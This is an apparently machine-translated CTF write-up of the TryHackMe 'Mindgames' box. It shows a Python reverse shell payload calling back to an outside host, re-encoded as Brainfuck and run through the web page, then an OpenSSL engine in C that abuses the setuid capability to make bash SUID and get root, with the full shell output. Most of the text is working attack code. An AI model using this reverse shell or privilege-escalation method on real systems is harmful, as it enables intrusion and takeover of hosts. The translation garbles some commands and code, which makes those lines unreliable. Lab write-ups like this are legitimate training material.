disclaimer
The hosts infiltrated in this article are legally authorized. The tools and methods used in this article are only for learning and communication. Please do not use the tools and infiltration ideas used in this article for any illegal purposes. I am not responsible for any consequences arising therefrom, nor for any misuse or damage caused.
Service to detect
Chrysene β(rootπkali)-[~/tryhackme/Mindgames] β β# nmap-sv -pn 10.10.170.96 Host discovery disabled (-pn). All addresses will Be marked 'up' and scan times will be slower. Starting Nmap 7.91 (https://nmap.org) at 2021-11-26 03:13 EST Nmap scan Report for 10.10.170.96 Host is up (latency). Not shown: 998 Closed ports PORT STATE SERVICE VERSION 22/ TCP open SSH OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; Protocol 2.0) 80/ TCP Open HTTP Golang NET/HTTP Server (GO-IPfs JSON-RPC or InfluxDB API) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) Scanned in 66.58 secondsCopy the code
Port 80 shows a strange programming language, input box, look up this programming language called Brainfuck
Sometimes those bad ideas get turned into a CTF box. I'm so sorry. Ever thought that programming was a little too easy? Well, I have just the product for you. Look at the example code below, then give it a go yourself! Like it? Purchase a license today for the low, low price of 0.009BTC/yr! Hello, World +[------->++<]>++.++.---------.+++++.++++++.+[--->+<]>+.------.++[->++<]>.-[->+++++<]>++.+++++++.. +++.[->+++++<]>+.------------.---[->+++<]>.-[--->+<]>---.+++.------.--------.-[--->+<]>+.+++++++.>++++++++++. Fibonacci [-- -- -- -- -- - > + <) > -. +. +. [+ <] > -- -- - >. + + + - > + + > <]. [-- -- <] > > + + + + + +. [+ + - > <) > -. + + [+ + > - <) > +. - [+ + + <] > -- -- -- >. > + + + + + + + + + +. [+ + + - > <) > + +... - [+ + - > <) > - - - -. [+ <] > -- -- - >. + [-- -- -- -- -- > + <) > +. - [+ + + + + - > <) > -. - [+ + - > <) >. +. + / - > + <) > +. [-- -- > + + + > <] +. + + + + + + + + +. > + + + + + + + + + +. [- > + + > + <] + +... [-- -- -- -- -- -- -- - > + + <) >. -- -- -- -- -- -- -- -- -- -- -- -- --. [- > + <) > -. +. -. -. - [- >. + + + + + > <] - [- > + + + > <] +. > + + + + + + + + + +. [+ + + - > <) > + +... [-- -- -- -- -- -- -- - > + + <) >. -- -- -- -- -- -- -- -- -- -- -- -- --. [- > + <) > -. +. -. -. - [+ + + + + - > <) >. + + + - > + + > <]. [-- -- <] > > + + + + + +. [+ + - > <) > -. [-- -- -- -- -- > + + > <] + . + + + +. -- -- -- -- -- -- -- -, + +. - [+ + + + + - > <) >. [-- -- <] > > + + + + + +. [+ + - > <) > -. [-- -- -- -- -- > + + > <] +. + + + + +.. -- -- -- -- -- -- -- -- -- > + + + + + + + + + +... [- > + + + + + > <]. + + + + + + + + +. + + +. [-- -- > + + + + + + + + > <]. - [+ + - > > <] - [- > + <) > -. - [+ + - > <) >. + + + + +. - [+ + + + + - > <) > -. - [-- -- -- -- -- > + + <) >. + + + + + + / - > <) >. + + + + + + + + + + + + + + +.. -- -- -- -- -- -- -- -. -- - >. + + + > <] - + + + + + + + + +. - - - - - - - -. - [+ + + <] > -- -- -- >. > + + + + + + + + + +. [+ + + - > <) > + +... [-- -- > + + + + + + + > <]. + +. -- -- -- -- -- -- -- -- --. + + + + +. + + + + + +. + / - > + <) > +. -- -- -- -- -- - > + + > <]. [-- -- <] > > + + + + + +. -- - [+ + + - > <) >. [-- -- -- -- -- > + + > <] -. >++++++++++. Try before you buy.Copy the code
Then I did a Google search and found a site where you can convert Brainfuck and Python. That’s easy, we just need to write a Python bounce shell to get the initial shell
We use the following payload:
import socket,os,pty; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); S.c onnect ((" 10.13.21.169 ", 4242)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/sh")Copy the code
Translated into Brainfuck:
+ + + + + + + + + + [> > + + + + + + + + + + + > > + + + + + + + + + + < < < < -] > > > >. + + + + + + + + +. + + +. - + + +. + +. < < + +. > > - -. -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + + +. -- -- -- -- -- - + + + + + + + + + + + + + + +. < < + + + + + + + + + + + +. > > -- -- -- -- - + + + +. < <... > > -- -- --. + + + +. + + + + +. < -- -- -- -- -- -- -- -- -- -- - > -- -- -- -- -- - < + +. > -. -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + + +. -- -- -- -- -- - + + + + + + + + + + + + + + +. < < + +. > > - -. -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + + +. -- -- -- -- -- - + + + + + + + + + + + + + + +. < < -- -- -- -- -- - > > - -. -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + + +. -- -- -- -- -- -. + + + + + + + + + + + + + + +. < < + + + + + +. >. + + + + + + + + +. > -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - "+ + +. + + + + +. -- -- -- -- -- -- -- -- - > -- -- -- -- -- -- -- -- -- -- - < < -. > > + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +.. -- -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + + +. -- -- -- -- -- - + + + + + + + + + + + + + + +. < < + +. > + + + + + + + + + + + + + +. -. -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + + +. + + + + + + + + + + + + + + + + + + + +. -- -- -- -- -- -- -- -- -- -- -- --. +. -. -- -- -- -- -- -- -- -- -- -- -- -- -, -, + + + + + + + + + + + +. < -- -- -- -- --. + + + + + + + + + + + + + + + + + +. > > - < < -- -- -- -- -- -- -- -- -- -- -- -- - > > -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - + + + + + + + + + + + +. -.. . -- -- -- -- -- -- -- -- -- -. + + + + + + + + + + + + + + + + +. < < -- -- -- -- -- -.. -- -- -- -- -- - + + + + + + + + + + + + + + +. - -.. + + + + +. -- -- -- -- - + + + +. - -.. + + + + + + + +. + + +. -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + + + + +. + + + + + + + +. -. + +. -. - -- -- -- -- -- -- -- -.. + + + + + + + + + + + + + + + + + +. > > -- -- -- -- - + + + +. < < -- -- -- -- -- -- -- -- -- -- -- -- - > > -- -- -- -- -- -- -- -- -- -- -- -- -- -- - + + + + + + + + + + + + + + + + +.. -- -- -- -- -- < < + + + +. -- -- -- -- -- -- -- -- -- - > > + + +. < < + + + + + +. > > -- -- -- -- -- -- -- -- -- -- -- -- --. + + +. + + +. -- -- -- -- -- -- --. + + + + + + + + +. +. < < -- -- -- -- -- -. +. + + +. + + + +. -- -- -- -- -- -- --. + + + + + + + + + + + + + + + + + +. > >. + + + +. < < -- -- -- -- -- -- -- -- -- -- -- -- -. > > -- -- -- -- -- -- -- -- -- -- -- -- -- -- - + + + + + + + + + + + + + + + + +.. -- -- -- -- -- < < + + + +. -- -- -- -- -- -- -- -- -- - > > + + +. < < + + + + + +. > > -- -- -- -- -- -- -- -- -- -- -- -- --. + + +. + + +. -- -- -- -- -- -- --. + + + + + + + + +. +. < < - -- -- -- -- --. +. + + +. + + + + +. -- -- -- -- -- -- -- --. + + + + + + + + + + + + + + + + + +. > >. + + + +. < < -- -- -- -- -- -- -- -- -- -- -- -- - > > -- -- -- -- -- -- -- -- -- -- -- -- -- -- - + + + + + + + + + + + + + + + + +.. -- -- -- -- -- < < + + + +.... -- -- -- -- -- -- -- -- - > > + + +. < < + + + + + +. > > -- -- -- -- -- -- -- -- -- -- -- -- --. + + +. + + +. -- -- -- -- -- -- --. + + + + + + + + +. +. < < -- -- -- -- -- -. +. + + +. + + + + + +. -- -- -- -- -- -- -- -- --. + + + + + + + + + + + + + + + + + +. . > > +. + + + + + + + + +. < < -- -- -- -- -- -- -- -- -- -- -- -- - > > -- -- -- -- -- - -- -- -. -- -- -- -- -- -- -- -- -- -- -- -- -- -- - + + + + + + + + + + + + + + + + + + + + + +.. -- -- -- -- -- -- -- -- -- < < -- -- -- -- -- - -- -- -- -- -- - + + + + + + + + + + + + +. > > -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + +. + + + + +. < <... > > + + + + +. -- -- -- -- -- -- -- -- -- -- - < < -- -- -- -- -- -- -- -- -- -- -- -- --. + + + + + + +.Copy the code
Execute the Brainfuck code above on the page and get the bounce shell
β ββ(rootπkali)-[~/tryhackme/Mindgames] β β# nc-lnVP 785 85 β¨― listening on [any] 785... Connect to [10.13.21.169] from (UNKNOWN) [10.10.170.96] 57554 $id ID UID =1001(mindgames) GID =1001(mindgames) groups=1001(mindgames) $ whoami whoami mindgamesCopy the code
Get user.txt in /home/mindgames
We can’t see sudo privileges without a password
Right to mention
Openssl has setuID capability:
Files with capabilities (limited to 50):
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/openssl = cap_setuid+ep
/home/mindgames/webserver/server = cap_net_bind_service+ep
Copy the code
We prepare the following code, save it as priv.c, refer to here
#include <openssl/engine.h> #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> static const char *engine_id = "test"; static const char *engine_name = "hope it works"; static int bind(ENGINE *e, const char *id) { int ret = 0; if (! ENGINE_set_id(e, engine_id)) { fprintf(stderr, "ENGINE_set_id failed\n"); goto end; } if (! ENGINE_set_name(e, engine_name)) { printf("ENGINE_set_name failed\n"); goto end; } setuid(0); setgid(0); system("chmod +s /bin/bash"); system("echo Complete!" ); ret = 1; end: return ret; } IMPLEMENT_DYNAMIC_BIND_FN(bind) IMPLEMENT_DYNAMIC_CHECK_FN()Copy the code
The above code basically turns bash into a SUID file
Compile to the priv.so file
β β β (root π kali) - ~ / tryhackme/Mindgames β β # GCC -c -fpic priv. 1 c - o priv β¨― β β β (root π kali) - ~ / tryhackme/Mindgames β β # gcc -shared -o priv.so -lcrypto privCopy the code
To the target
Run the following command:
/usr/bin/openssl req -engine /tmp/priv.so
The setuid command has been executed, but you need to open another shell, bounce a new shell on the Web, and run bash -p to invoke rights to root
β β(rootπkali)-[~/tryhackme/Mindgames] ββ [~/tryhackme/Mindgames] imp. Connect to [10.13.21.169] from (UNKNOWN) [10.10.170.96] 57578 $python3 -c "__import__('pty'). Spawn ('/bin/bash')" Python3 -c "__import__('pty'). Spawn ('/bin/bash')" bash-4.4$bash -p bash -p bash-4.4# id id uid=1001(mindgames) Gid =1001(mindgames) euid=0(root) egid=0(root) groups=0(root),1001(mindgames) bash-4.4# whoami whoami root bash-4.4# cat /root/root.txt cat /root/root.txtCopy the code